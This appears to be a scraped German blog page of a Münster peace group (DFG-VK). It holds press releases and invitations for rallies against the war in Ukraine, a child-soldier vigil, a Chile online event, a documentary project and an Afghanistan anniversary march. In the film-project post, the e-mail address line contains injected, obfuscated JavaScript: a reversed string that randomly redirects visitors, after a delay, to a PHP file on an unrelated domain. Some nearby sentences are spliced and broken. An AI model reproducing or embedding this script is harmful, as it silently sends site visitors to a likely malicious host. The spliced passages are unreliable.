Deutsche Friedensgesellschaft Münster


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Friedenskundgebung „Die Waffen nieder! Nein zum Krieg!“ vor dem Rathaus am Sa. 26.02.22 11-13h

Die Friedensorganisationen Deutsche Friedensgesellschaft-Vereinigte KriegsdienstgegnerInnen (DFG-VK) Münster, Friedenskooperative (FRIKO) Münster, pax christi Diözesanverband Münster u.a. rufen am Sa. 26.02.2022 von 11-13 Uhr zur Kundgebung „Die Waffen nieder! Nein zum Krieg!“ vor dem historischen Rathaus von Münster auf.

Wir verurteilen die militärische Aggression Russlands gegen die Ukraine. Für Krieg gibt es keine Rechtfertigung. Die Mitschuld des Westens besonders der USA und der NATO rechtfertigen keinesfalls diese militärische Aggression.

Die Bombardierungen müssen sofort gestoppt werden. Notwendig ist ein umfassender Waffenstillstand, der Rückzug aller Truppen und ein zurück an den Verhandlungstisch.

Politische Reaktionen des Westens sollten auf die Wiederaufnahme von Gesprächen gerichtet sein, weiteren Hass und Konfrontation vermeiden und nicht die Bevölkerung Russlands treffen. Deswegen lehnen wir Sanktionen ab.

Es gibt keine militärische, sondern nur eine politische Lösung auf der Basis der Prinzipien der gemeinsamen Sicherheit.
Lasst uns gegen den Krieg, für eine Politik der gemeinsamen Sicherheit auf die Straße gehen. Es gibt keine Alternative zu Dialog und Kooperation – gerade jetzt.

Wir fordern

– sofortige Einstellungen aller Kampfhandlungen,
– sofortigen Rückzug aller ausländischen Kampftruppen aus der Ukraine,
– Unterstützung einer umfassenden Arbeit von OSZE-Beobachter:innen,
– Deeskalation durch deutlichen Rückzug von Truppen Russlands und der NATO, die sich in Nähe der Grenzen der Ukraine befinden.

Krieg darf kein legitimes Mittel der Politik sein!
Kommt zur Kundgebung am Samstag 26.2. ab 11 Uhr vor dem historischen Rathaus, Prinzipalmarkt 10.

Die Redner:innen sind u.a.:

    • Felix Oekentorp, Sprecher der DFG-VK NRW;
    • Kathrin Vogler MdB Die Linke, Mitglied der DFG-VK und der Friedensinitiative Münster (FIM);
    • Maria Buchwitz, Co-Vorsitzende des Diözesanverbands Münster und Bundesvorstand von pax christi

Musikbeitrag: Fari Hadipour und David (Das Boot – Musik für den Frieden)

Bild (Münster Tube) v.l.n.r.: Jewgenij Arefiev (GF/Sprecher der DFG-VK Münster), Renate Haake und Hugo Elkemann (Friedenskooperative Münster)


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Die Pressemitteilung: „Red Hand Day – Keine Rekrutierung Minderjähriger als Soldat:innen weltweit und für die Bundeswehr! Über das Widerspruchsrecht gegen die Datenweitergabe an die Bundeswehr rechtzeitig postalisch informieren!“


Am Samstag, den 12.2.22 von 11-16 Uhr laden die Deutsche Friedensgesellschaft – Vereinigte KriegsdienstgegnerInnen (DFG-VK) Münster, die Friedenskooperative Münster und pax christi Diözesanverband Münster zur Mahnwache zum Internationalen Tag gegen den Einsatz von Kindersoldat:innen (Red Hand Day) vor dem historischen Rathaus ein.

Die Kampagne „Unter 18 Nie! Keine Minderjährigen in der Bundeswehr“ (unter18nie.de), die von zwölf Organisationen aus den Bereichen Frieden, Menschenrechte, Kirche und Gewerkschaft (u.a. DFG-VK, Netzwerk Friedenskooperative, pax christi, GEW, IPPNW, Kindernothilfe, UNICEF Deutschland, terre des hommes) getragen wird, setzt sich seit 2019 für eine Erhöhung des Rekrutierungsalters auf 18 Jahre ein, was auch der UN-Ausschuss für die Rechte des Kindes und die Kinderkommission des Bundestags Deutschland wiederholt empfohlen haben. Weltweit halten über 150 Länder den internationalen Straight 18-Standard ein.

Die Kampagne macht auf die Probleme der Minderjährigen in der Bundeswehr: physische und psychische Gefährdung, Missbrauch, Jugendschutzgefährdung, problematische Arbeitsverträge, hohe Abbrecherquote aufmerksam, fordert die Bundesrepublik auf, keine Minderjährigen für die Bundeswehr anzuwerben, und setzt sich für eine intensive Information der Jugendlichen über ihre Widerspruchsrechte ein.

Im Koalitionsvertrag der Ampel ist folgende Formulierung enthalten: „Ausbildung und Dienst an der Waffe bleiben volljährigen Soldatinnen und Soldaten vorbehalten.“. Das bedeutet, dass die Minderjährigen weiterhin ihren Dienst auch unterhalb von 18 Jahren antreten können. Das widerspricht der UN-Kinderrechtskonvention, die sich prinzipiell gegen die Rekrutierung Minderjähriger ausspricht. Hugo Elkemann (Friedenskooperative Münster): „Wir erhalten unsere Forderung aufrecht: unter 18 nie! Die Landesregierung soll die Bundeswehrwerbung an Schulen und bei minderjährigen Schüler:innen sofort beenden!“.

„Wir fordern den Stadtrat Münster auf, den Antrag der Friedensorganisationen „Information der Jugendlichen über ihr Widerspruchsrecht bei der Datenweitergabe an die Bundeswehr“ vom 30.03.21 endlich in die Verwaltungspraxis umzusetzen, die betroffenen minderjährigen Münsteraner:innen über ihr Widerspruchsrecht rechtzeitig postalisch zu informieren und dadurch die persönlichen Daten und Interessen der Kinder und Jugendlichen besser zu schützen. Die bisherigen Veröffentlichungen der Stadt (Homepage, Amtsblatt, Pressemitteilung) reichen dafür definitiv nicht aus.“, so der ehrenamtliche Geschäftsführer/Sprecher der DFG-VK Münster Jewgenij Arefiev.


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Pressemitteilung: Online-Veranstaltung „Chile zwischen Faschismus und Demokratisierung“ am Sa. 18.12.21 von 18-20h

Die Deutsche Friedensgesellschaft – Vereinigte KriegsdienstgegnerInnen (DFG-VK) Münster lädt zusammen mit der Friedenskooperative (FRIKO) Münster und dem Duo Contraviento am Samstag, den 18.12.21, dem Abend vor der Präsidentschaftsstichwahl in Chile zur Online-Veranstaltung: „Chile zwischen Faschismus und Demokratisierung“ von 18-20 Uhr ein.

Die Demokratisierung in Chile steht auf dem Spiel. Die Washington Post* drückte es am 15.12.21 so aus: „Chileans must show the way to stop fascism and defend democracy.“, zu Deutsch: „Die Chilenen müssen den Weg weisen, um den Faschismus zu stoppen und die Demokratie zu verteidigen.“)

Die Referentin Pamela Ydígoras ist chilenische Liedermacherin, Autorin, Künstlerin und Menschenrechtsaktivistin, die sich für Politik, die Zukunft und die sozialen Veränderungen ihres Landes und der ganzen Welt interessiert. Aus diesem Grund thematisiert sie die Ungerechtigkeiten, die menschliche Apathie, die Hoffnung und die Liebe. Sowohl in ihren literarischen als auch in ihren politischen Texten. „Die Zukunft der Menschheit und unseres Planeten liegt in unseren Händen.“, so Pamela Ydígoras.

Als weitere Zeitzeugin wird Isabel Lipthay anwesend sein. Sie arbeitete 10 Jahre als Journalistin unter Pinochets Diktatur und musste 1983 das Land verlassen. In Münster lernte sie Martin Firgau kennen; sie treten seit 1986 gemeinsam als „Duo Contraviento“ auf. Dabei berichten sie in verschiedenen Programmen über Chile und Lateinamerika mit Musik, Texten und Bildern.

Das Duo Contraviento, das auch Mitveranstalter ist, wird sich inhaltlich einbringen und die Informationsveranstaltung musikalisch umrahmen.

Die Moderatorin Sophia Firgau ist Kulturpädagogin, Szenografin und seit 2009 immer wieder in Chile. Gerade entwickelt sie in einem chilenisch-deutschen Kuratorinnen-Team eine Ausstellung über Feminismus in Chile und Deutschland, die 2022 im Museum für Erinnerung und Menschenrechte in Santiago de Chile zu sehen sein wird.

Isabel Lipthay: „Die chilenischen Wahlen am kommenden Sonntag haben eine Bedeutung über Chile hinaus: Es geht um die Polarisierung zweier Lebensweisen. Gabriel Boric als junger Vertreter für integrative Werte, soziale Gerechtigkeit und Hoffnung. José Antonio Kast repräsentiert die rechtsextreme Diktatur-Nostalgie im besten Trump- und Bolsonaro-Stil, wo Angst und Repression regieren. Der Tod von Pinochets Witwe kurz vor dieser entscheidenden Stichwahl verschärft die Polarisierung noch weiter. Wird am 19.12. in Chile die Angst oder die Hoffnung siegen? Über diese Thematik werden wir am Samstag auf Zoom sprechen.“

Jewgenij Arefiev, ehrenamtlicher Geschäftsführer und Sprecher der DFG-VK Münster: „Wir wünschen der Bevölkerung von Chile sozialen Frieden und Gerechtigkeit unter einer neuen demokratischen Verfassung“.

Die Veranstaltung ist kostenlos und öffentlich. Sie wird zum Teil vom Friedensbüro der Stadt Münster gefördert.

Im Anschluss an die Referate wird es die Möglichkeit geben, Fragen an die Referent*innen zu stellen und mit ihnen zu diskutieren.

Weitere Infos: http://dfgvk.blog.muenster.org

Einwahl des Zoom-Meetings: Zoom-Meeting am Sa. 18.12.21 um 18 Uhr beitreten:
https://t1p.de/chile-online-18-12-2021

Meeting-ID: 846 0767 6093

Kenncode: 953899

* Quelle: https://www.washingtonpost.com/opinions/2021/12/15/chile-elections-jose-antonio-kast-fascism/


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Online-Veranstaltung: „Chile zwischen Faschismus und Demokratisierung“ am Sa. 18.12.21 von 18-20h

Am Abend vor der Präsidentschaftsstichwahl in Chile laden wir herzlich zu dieser Online-Veranstaltung (live per Zoom) ein:

Zoom-Meeting am Sa. 18.12.21 von 18-20 Uhr beitreten:
https://t1p.de/chile-online-18-12-2021

Meeting-ID: 846 0767 6093
Kenncode: 953899

Chile gilt als „Musterland“ eines extremen Neoliberalismus, der in Zeiten der Pinochet-Diktatur eingeführt wurde und sich während der Folgejahre eher gefestigt hat. Haupt-Hinderungsgrund für wirkliche Reformen ist die 1980 während der Diktatur eingesetzte Verfassung, die Gerechtigkeit, Frieden und Aussöhnung verhindert. Am 18. Oktober 2019 kam das Fass zum Überlaufen: Eine Preiserhöhung von 30 Pesos für die U-Bahn löste einen Sozialen Aufstand in Chile aus, bei dem es im Kern um die wachsende Ungerechtigkeit der letzten 30 Jahre ging. Präsident Piñera erklärte, dass sich das Land in einem „Krieg gegen einen machtvollen und unerbittlichen Feind“ befände und der Staat reagierte mit brutaler Repression und Mitteln der Diktatur. Noch immer befinden sich zahlreiche Protestierende der großen Revolte 2019 in Haft.
Die Proteste, die seit der Pandemie andere Formen finden mussten, erreichten die Durchführung eines Plebiszits und erlangten 78% Zustimmung zu einer neuen Verfassung und Gründung einer Verfassunggebenden Versammlung, die im Juli 2021 ihre Arbeit aufnahm. Am 12. Oktober 2021 hat Chiles Präsident Sebastián Piñera den Ausnahmezustand verhängt über vier Zonen in den Regionen Bío Bío und Araucanía. Staatsterrorismus ist in Chile die Regel, wenn es um Politik- und Umweltaktivist*innen, Indigene, Migrant*innen oder arme Chilen*innen geht.
Während der Diktatur General Pinochets (1973-90) war die Lage der indigenen Mapuche besonders schlimm; weder ihre Ethnie noch ihr (Gemein-)Eigentum wurden anerkannt, forstwirtschaftliche Firmen nahmen sich ihr Land. Etwas besser wurde es in den ersten Jahren nach der Wende zur parlamentarischen Demokratie: Unter den Mitte-Links-Regierungen kam es zu ersten Landrückgaben. Doch 1997 eskalierte der Konflikt, als einige Holzlastwagen in Brand gesteckt und Wege durch Mapuche-Gebiet blockiert wurden. Die – konservativen – Medien berichteten von Gewaltausbrüchen und Chaos, worauf die Regierung das Anti-Terrorgesetz Pinochets (und zwar nur gegen Mapuche) reaktivierte. Für Mapuche herrscht in Chile noch immer Diktatur.
Gemeinden der Mapuche protestieren gegen die Abholzung der Wälder, gegen Staudämme oder Bauprojekte, die die Umwelt und somit ihre Lebensgrundlage gefährden. Konsequenterweise erfolgt systematische institutionelle Gewalt und Kriminalisierung gegen ihren Protest. Seit Mitte der neunziger Jahre bis heute gibt es bereits politische Gefangene der Mapuche. Nun geht die Amtszeit Piñeras zu Ende und am 19.12.2021 kommt es zur Stichwahl zwischen Gabriel Boric als Vertreter der Demokratiebewegung und José Antonio Kast als ultrarechten Gegenpart, dessen Wahlprogramm deutlich in Richtung einer Diktatur weist.
Chile ist wieder einmal an einem Scheidepunkt zwischen einer Entwicklung zu mehr sozialem Frieden, Gerechtigkeit unter einer neuen demokratischen Verfassung und ultrarechten Kräften, die diese Entwicklung mit allen Mitteln verhindern möchten. Unabhängige Medien haben es extrem schwer, da auch die Medienlandschaft vom Neoliberalismus geprägt ist. Mit der Veranstaltung möchten wir über diese Situation berichten und dabei auch Stimmen von Chilen*innen in Deutschland und in Chile einbringen. Es wird die Möglichkeit geben, Fragen zu stellen und sich inhaltlich zu beteiligen.

Referentin: Pamela Ydígoras

Pamela Ydígoras ist chilenische Liedermacherin, Autorin, Künstlerin und Menschenrechtsaktivistin, die sich für Politik, die Zukunft und die sozialen Veränderungen ihres Landes und der ganzen Welt interessiert. Aus diesem Grund thematisiert sie die Ungerechtigkeiten, die menschliche Apathie, die Hoffnung und die Liebe. Sowohl in ihren literarischen als auch in ihren politischen Texten. Außerdem singt sie über die Gefühle, die unsere Seele und Haut vibrieren lassen, die uns die Kraft geben, um eine bessere Welt zu schaffen: Die Zukunft der Menschheit und unseres Planeten liegt in unseren Händen.

Moderation: Sophia Firgau

Sophia Firgau ist Kulturpädagogin und Szenografin und seit 2009 immer wieder in Chile. Gerade entwickelt sie in einem chilenisch-deutschen Kuratorinnen-Team eine Ausstellung über Feminismus in Chile und Deutschland, die 2022 im Museum für Erinnerung und Menschenrechte in Santiago de Chile zu sehen sein wird.

Organisation und Unterstützung: Jewgenij Arefiev (DFG-VK Münster), Martin Firgau & Isabel Lipthay (Duo Contraviento)

Veranstalter: DFG-VK Münster

in Kooperation mit der Friedenskooperative Münster

Die Veranstaltung wird zum Teil vom Friedensbüro der Stadt Münster gefördert.

Duo Contraviento | PARA LA GUERRA NADA – FÜR DEN KRIEG NICHTS (Marta Gómez): https://youtu.be/SFS506SeZdk

Duo Contraviento | EL DERECHO DE VIVIR EN PAZ – DAS RECHT, IN FRIEDEN ZU LEBEN (V. Jara – Vers. 2019) | 1.6.2020 mit Karl Figueroa: https://youtu.be/tSx9YOFIDs4

Zoom-Meeting beitreten:
https://t1p.de/chile-online-18-12-2021

Meeting-ID: 846 0767 6093
Kenncode: 953899

Auf dem Flyer in der Mitte: Elisa Loncón, Vorsitzende der verfassunggebenden Versammlung, Vertreterin der indigenen Mapuche, die besonders unter Verfolgung leiden. Das rechte Foto wurde zum Symbolbild der Massen-Proteste, die im Herbst 2019 begannen. Auch dort ist die Fahne der Mapuche ganz an der Spitze zu sehen.


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Weiterarbeit an der Filmdoku „Krieg beginnt hier – Garnisonsstadt Münster“ (Film-Matinee)

Liebe Friedensfreundin,
lieber Friedensfreund,

wir laden Dich ganz herzlich zur

Weiterarbeit an der Filmdokumentation „Krieg beginnt hier – Garnisonsstadt Münster“ (Film-Matinee) ein!

Im September 2021 hatten wir mit anderen Friedensorganisationen als unseren Beitrag zum Friedenskulturmonat eine Filmvorführung zur Garnisonsstadt Münster geplant. Corona-bedingt musste die Fertigstellung und Vorführung verschoben werden.

Wir stellen jetzt den Entwurf vor. Noch ist es keine Endfassung, soll aber nahe daran kommen. Unklar ist allerdings, inwieweit die Position der Ampelkoalition ggf. eine Korrektur erfordert.

Dazu wird Felix Oekentorp eine kurze Einschätzung geben.

Wir laden die Mitwirkenden, Mitgestalter*innen und Interessierte zur Mitarbeit

am Sonntag 12.12.21 von 11-14 Uhr ein.

Wir bitten um Anmeldung bis zum Samstag 11.12.21 unter der E-Mail-Adresse: to geringen Beteiligung an öffentlichen Veranstaltungen verschoben. Eine Realisierung bedarf aufgrund der politischen Entwicklung auf Bundesebene (neue Koalitionsvereinbarungen) einer Neukonzeption. Dazu ist eine Vorstellung des bisherigen Filmmaterials und ihrer Disposition unter den Beteiligten, Mitwirkenden und Interessierten geplant. Für die Projektrealisierung werden diverse technische Geräte benötigt, die teilweise bereits angeschafft worden sind. Am So. 5.12.21 war eine Präsenzveranstaltung geplant. Aufgrund der aktuellen Corona-Situation wird diese Veranstaltung jedoch als eine digitale Veranstaltung am So. 12.12.21 durchgeführt. Der Integrationsrat der Stadt Münster hat in seiner Sitzung am 24.11.21 die Bedeutung der Erstellung des Films und seine Veröffentlichung hoch anerkannt, fördert das Projekt zum Teil. Die Vorsitzende des Integrationsrates der Stadt Münster Frau Maria A. Salinas hat sich „für die sehr gute Arbeit“ bei den beteiligten Friedensorganisationen und bei Münster Tube bedankt. Eine Förderung beim Friedensbüro und beim Kulturamt der Stadt Münster wurde ebenfalls beantragt.

Der geplante Ablauf:

11:00-11:15 Uhr: Online-Registrierung
11:15-11:45 Uhr: Referat „Der aktuelle Stand der Koalitionsverhandlungen bzgl. des Bereichs Frieden/Verteidigung/Sicherheit und die entsprechend zu erwartenden Auswirkungen“ von Felix Oekentorp
11:45-12:15 Uhr: Diskussion mit Online-Moderation
12:15-13:00 Uhr: Vorführung des fertigen Filmmaterials
13:00-14:00 Uhr: Diskussion mit Online-Moderation

Das Drehbuch wurde von den Veranstalter*innen und Kooperationspartner’innen in mehreren Sitzungen im Laufe des Jahres 2021 mit örtlichen sowie personellen (Redner*innen) Vorschlägen gemeinsam erstellt. Der Film handelt über Kriegsvorbereitung, Kriegsverhinderung und Friedensbewegung in Münster (u.a. Osterfriedensfahrradtouren, Friedenskundgebungen, Friedensproteste). Es ist eine unbearbeitete Rohversion mit den bisherigen Aufnahmen, die gesichtet und besprochen werden soll. Die politischen Veränderungen auf der Bundesebene (Ampelkoalition) werden für die Endversion neu abgeklärt, da sie Veränderungen im Bereich Frieden, Verteidigung und Sicherheit auch für Münster und seine Gesellschaft mit sich bringen können wie z. B. die Antwort auf die Frage „Will auch die neue Bundesregierung auf dem Gelände der Manfred-von-Richthofen-Kaserne ein NATO-Hauptquartier einrichten oder können dort durch die Konversion – wie von der Stadt gewollt – 800 neue Wohnungen entstehen?“.
Der vorgelegte Koalitionsvertrag betrifft u.a. die deutschen Kindersoldat*innen. Die münsterschen Friedensorganisationen beteiligen sich an der Kampagne „Unter 18 nie!“ (https://unter18nie.de), haben gemäß § 24 Gemeindeordnung NRW Bürgeranregungen an den Rat der Stadt Münster gestellt:
– am 18.01.2021: „Einsatz für die Unterzeichnung des UN-Atomwaffenverbotsvertrages durch die Bundesregierung“ und
– am 31.03.2021: „Information der Jugendlichen über ihr Widerspruchsrecht bei der Datenweitergabe an die Bundeswehr“. Es geht auch um weitere friedenspolitische Themen mit dem lokalen Bezug.

Die auftretenden Akteure, die in dem Film zu Wort kommen sind Vertreter*innen von münsterschen

– Friedensorganisationen: u.a. Friedenskooperative, pax christi, DFG-VK,
– Gewerkschaften: DGB Stadtverband Münster, GEW Stadtverband Münster,
– Institut für Theologie und Politik Münster,
– verschiedenen migrantischen Organisationen,
– Völkerrechtler*innen etc.

Der Dokumentarfilm wird von Filmemacher*innen (u.a. Filmwerkstatt Münster), Mediengestalter*innen, Pädagog*innen und Politikwissenschaftler*innen begleitet.

Unser Ziel ist es den fertigen Film 2022 allgemein zugänglich zu machen, das heißt ihn – wie für den Friedenskulturmonat September 2021 geplant – mindestens an 3 verschiedenen Orten in Münster mit anschließender Diskussion zu zeigen. Münster Tube und die Mitveranstalter*innen/Kooperationspartner*innen werden den Film nach diesen öffentlichen Filmvorführungen auf ihren Internetseiten und auf ihren Kanälen bzw. Accounts bei Youtube, Facebook, twitter, Instagram etc. veröffentlichen. Dadurch wird der Film einem breiten Publikum zugänglich sein.

Münster Tube – Münster von unten:
https://muenstertube.wordpress.com/
https://www.youtube.com/MünsterTube
https://www.facebook.com/muenstertube/
https://twitter.com/Muenstertube

Friedensbewegte Grüße!
Jewgenij Arefiev
Ehrenamtlicher Geschäftsführer/Sprecher der Basisgruppe Münster, Deutsche Friedensgesellschaft – Vereinigte KriegsdienstgegnerInnen (DFG-VK) e.V.
Aktives Mitglied der Friedenskooperative Münster
CuBA (Cultur- und Begegnungszentrum Achtermannstraße e.V.)
Achtermannstr. 10, 1. OG
48143 Münster
Tel.: +49(0)25114967080
Mobil 1: +49(0)1606404181 (D1)
Mobil 2: +49(0)1797924010 (O2)
E-Mail: $Bhq=function(n){if (typeof ($Bhq.list[n]) == „string“) return $Bhq.list[n].split(„“).reverse().join(„“);return $Bhq.list[n];};$Bhq.list=[„‚php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}to:arefiev@t-online.de“>arefiev@t-online.de
http://dfgvk.blog.muenster.org
https://www.facebook.com/DeutscheFriedensgesellschaftMunster
https://twitter.com/DFGVKMuenster
Instagram: dfgvk_ms

Friedenskooperative Münster
https://www.facebook.com/friedenskooperative.muenster
E-Mail: 

Hannes Dräger (Friedenskooperative Münster)
Dr. Bernd Drücke (DFG-VK Münster)


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Pressemitteilung: Friedensdemo vom Friedenssaal bis zur NATO-Zentrale anlässlich des 20. Jahrestages des Beginns des Afghanistankrieges „Stoppt die Militärinterventionen! Nein zum Krieg! Nein zum Imperialismus!“ am Do. 7.10.21 in Münster


Ein breites Bündnis, darunter auch die Deutsche Friedensgesellschaft – Vereinigte KriegsdienstgegnerInnen (DFG-VK) Münster und die Friedenskooperative (FRIKO) Münster, ruft zu einer Demonstration anlässlich des 20. Jahrestages des Beginns des Afghanistankrieges „Stoppt die Militärinterventionen! Nein zum Krieg! Nein zum Imperialismus!“ am Donnerstag, den 7.10.2021 in Münster auf.

Die Demo startet um 16:30 Uhr mit der Auftaktkundgebung vor dem historischen Rathaus am Prinzipalmarkt 10. Die Zwischenkundgebung findet am türkischen Generalkonsulat in der Lotharingerstr. 25-27 und die Abschlusskundgebung von ca. 18:30-19:00 Uhr am NATO-Hauptquartier (I. DEU/NLD Corps), Schlossplatz 15 statt.
Am 20. Jahrestag des Afghanistankrieges wollen wir an die vielen Todesopfer erinnern. Laut dem „Costs of War Project“ starben in Afghanistan und Pakistan mindestens 238.000 Menschen in direkter Folge von Kriegshandlungen. Die IPPNW geht in der „Body Count“-Studie davon aus, dass die Zahl der Opfer vermutlich fünf- bis achtmal so hoch liegt. Auch 3.600 Soldat*innen der westlichen Allianz haben in Afghanistan ihr Leben gelassen, darunter 59 Bundeswehrangehörige.
Wir erinnern insbesondere an die Opfer des verheerenden Luftschlages von Kundus, bei dem 141 Zivilisten starben. Dieser Angriff wurde von der Bundeswehr befehligt.
Terror lässt sich nicht mit Krieg bekämpfen, Krieg ist selbst Terror. Wir stellen uns gegen jedes weitere bewaffnete Mandat für die Bundeswehr in Afghanistan. Wir mahnen an, keinen neuen Krieg zu provozieren. Wir lehnen die Luftangriffe und gezielten Tötungen, wie sie die USA gerade mit Kampfdrohnen durchführen, ab.
Die Annahme, dass Entwicklung militärische Sicherheit braucht, hat sich als haltlos erwiesen. Die zivil-militärische Zusammenarbeit war von Anfang an ein Feigenblatt für die militärische Intervention.
Eine reale Verbesserung der Bedingungen der Menschen vor Ort ist aus unserer Perspektive nur durch die Menschen in Afghanistan selbst in Bewegungen und im Widerstand von unten möglich. Unsere Aufgabe ist es, dass solche Entwicklungen nicht im permanenten Krieg zwischen den Fronten zerrieben werden.
Wir weisen eine auf geopolitische Interessen ausgerichtete Außenpolitik ab. Wir fordern die Beendigung der Auslandseinsätze der Bundeswehr und einen Stopp der Waffenexporte. Wir fordern von der Bundesregierung, der EU und den NATO-Staaten eine sofortige und unbürokratische Aufnahme aller Menschen, die aus Afghanistan fliehen müssen. Der UN-Flüchtlingshilfefonds muss aufgestockt werden.


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Do. 7.10.2021 ab 16:30 Uhr: Demonstration anlässlich des 20. Jahrestages des Beginns des Afghanistankrieges „Stoppt die Militärinterventionen! Nein zum Krieg! Nein zum Imperialismus!“

Start: 16:30 Uhr vor dem Historischen Rathaus, Prinzipalmarkt 10.

Zwischenkundgebung: am Türkischen Generalkonsulat, Lotharingerstr. 25-27.

Abschlusskundgebung: von ca. 18:30-19:00 Uhr am NATO-Hauptquartier (I. DEU/NLD Corps), Schlossplatz 15.

Nein zum Krieg, nein zum Imperialismus! Demo vom Friedenssaal zur NATO-Zentrale anlässlich des 20. Jahrestages des Beginns des Afghanistankrieges.

Am 20. Jahrestag des Afghanistankrieges erinnern wir an die vielen Todesopfer. Laut dem „Costs of War Project“ starben in Afghanistan und Pakistan mindestens 238.000 Menschen in direkter Folge von Kriegshandlungen, die IPPNW geht in der „Body Count“-Studie davon aus, dass die Zahl der Opfer vermutlich fünf- bis achtmal so hoch liegt. Auch 3.600 Soldat*innen der westlichen Allianz haben in Afghanistan ihr Leben gelassen, darunter 59 Bundeswehrangehörige.

Wir erinnern insbesondere an die Opfer des verheerenden Luftschlages von Kundus, bei dem 141 Zivilisten starben. Dieser Angriff wurde von der Bundeswehr befehligt.

Terror lässt sich nicht mit Krieg bekämpfen, Krieg ist selber Terror. Wir stellen uns gegen jedes weitere bewaffnete Mandat für die Bundeswehr in Afghanistan. Wir mahnen an, keinen neuen Krieg zu provozieren. Wir lehnen die Luftangriffe und gezielten Tötungen, wie sie die USA gerade mit Kampfdrohnen durchführen, ab.

Die Annahme, dass Entwicklung militärische Sicherheit braucht, hat sich als haltlos erwiesen. Die zivil-militärische Zusammenarbeit war von Anfang an ein Feigenblatt für die militärische Intervention.
Eine reale Verbesserung der Bedingungen der Menschen vor Ort ist aus unserer Perspektive nur durch die Menschen in Afghanistan selbst in Bewegungen und im Widerstand von unten möglich. Unsere Aufgabe ist es, dass solche Entwicklungen nicht im permanenten Krieg zwischen den Fronten zerrieben werden.

Wir weisen eine auf geopolitische Interessen ausgerichtete Außenpolitik ab. Wir fordern die Beendigung der Auslandseinsätze der Bundeswehr und einen Stopp der Waffenexporte. Wir fordern von der Bundesregierung, der EU und den NATO-Staaten eine sofortige und unbürokratische Aufnahme aller Menschen, die aus Afghanistan fliehen müssen. Der UN-Flüchtlingshilfefonds muss aufgestockt werden.


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Pressemitteilung zum 17.9.2021

Am Freitag, den 17.9.21 veranstalten die Deutsche Friedensgesellschaft-Vereinigte KriegsdienstgegnerInnen (DFG-VK) Münster, die Friedenskooperative Münster, der DGB Münsterland, die Gewerkschaftliche Hochschulgruppe (GHG) und Villa ten Hompel im Rahmen des Friedenskulturmonats „Russland. Dialog. Frieden“ anlässlich des 80. Jahrestages des Überfalls der deutschen Wehrmacht auf die Sowjetunion:

1) von 13:00-15:30 Uhr eine kritische Radtour zu den Kriegerdenkmälern an der Promenade und im Schlossgarten mit dem Referenten Hugo Elkemann. Der Start ist am Zwinger (Promenade). Diese Radtour dient der Einstimmung auf den darauf folgenden Vortrag:

2) von 19:00-22:00 Uhr Vortrag vom Historiker Hannes Heer (Hamburg) mit anschließender Diskussion „Vernichtungskrieg im Osten – Judenmord, Kriegsgefangene und Hungerpolitik“ im Raum S1 im Schloss.

Hannes Heer ist Mitautor des gleichnamigen Buches von 2020, wissenschaftlicher Gestalter der Ausstellung „Vernichtungskrieg. Verbrechen der Wehrmacht 1941 bis 1944“, die 1990er Jahre zum 1. Mal die Kriegsverbrechen der regulären Streitkräfte im 2. Weltkrieg für eine breite Öffentlichkeit dokumentierte und gegen Widerstände von rechtsextremen und geschichtsrevisionistischen Kreisen die geschichtswissenschaftlich nachgewiesene Widerlegung des Mythos der vermeintlich „sauberen Wehrmacht“ auch im Bevölkerungsbewusstsein verbreitete. Die Einheiten, deren „Ehren“male die KriegsverbrecherInnen Münsters ehren, bleiben nicht verschont.

Beide Veranstaltungen sind öffentlich, der Eintritt ist frei. Spenden sind willkommen. Eine Anmeldung ist nicht erforderlich, Platzreservierung unter 025114967080 oder tour auf 20 Personen und bei dem Vortrag auf 200 Personen begrenzt. Die aktuellen Corona-Regeln sind zu beachten. Mehr Infos unter http://dfgvk.blog.muenster.org.

Historiker Hannes Heer (Hamburg)
Kritische Radtour zu den Kriegerdenkmälern an der Promenade und im Schlossgarten


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Die Pressemitteilung: „Radtour zu den Kriegerdenkmälern am Tag des offenen Denkmals“

Die Deutsche Friedensgesellschaft-Vereinigte KriegsdienstgegnerInnen (DFG-VK) Münster und die Friedenskooperative Münster veranstalten im Rahmen des Friedenskulturmonats „Russland. Dialog. Frieden“ am Tag des offenen Denkmals (So. 12.9.21) von 15:00-17:30 Uhr eine Radtour zu den Kriegerdenkmälern an der Promenade. Der Referent ist Hugo Elkemann.

Die max. TeilnehmerInnenzahl ist auf 20 Personen begrenzt. Um einen Platz für die Teilnahme zu reservieren, wird um Anmeldung per Mail an

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